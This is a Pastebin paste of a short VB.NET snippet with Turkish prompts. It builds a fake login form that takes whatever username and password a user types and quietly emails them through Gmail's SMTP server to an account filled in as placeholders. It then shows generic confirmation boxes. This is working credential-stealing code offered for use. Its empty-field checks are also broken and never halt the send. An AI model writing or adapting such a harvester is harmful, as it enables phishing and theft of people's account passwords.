Advertisement
Guest User

Untitled

a guest
Apr 6th, 2019
289
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.73 KB | None | 0 0
  1. Imports System.Net.Mail
  2.  
  3.  
  4.  
  5. If TextBox1.Text = "" Then
  6. MsgBox("Kullanici Adi Yanliş")
  7. If TextBox2.Text = "" Then
  8. MsgBox("Şifre Yanliş")
  9. Else
  10. End If
  11. End If
  12. Dim smtpServer As New SmtpClient()
  13. Dim mail As New MailMessage()
  14. smtpServer.Credentials = New Net.NetworkCredential("GMail ADRESINIZ", "Gmail ŞifreNiz")
  15. 'using gmail
  16. smtpServer.Port = 587
  17. smtpServer.Host = "smtp.gmail.com"
  18. smtpServer.EnableSsl = True
  19. mail = New MailMessage()
  20. mail.From = New MailAddress("Gmail")
  21. mail.To.Add("Gmail")
  22. mail.Subject = "Username : " & TextBox1.Text
  23. mail.Body = "Password : " & TextBox2.Text & ","
  24. smtpServer.Send(mail)
  25. MsgBox("message after entering/hlášení po zadání ")
  26. MsgBox("message after entering/hlášení po zadání")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement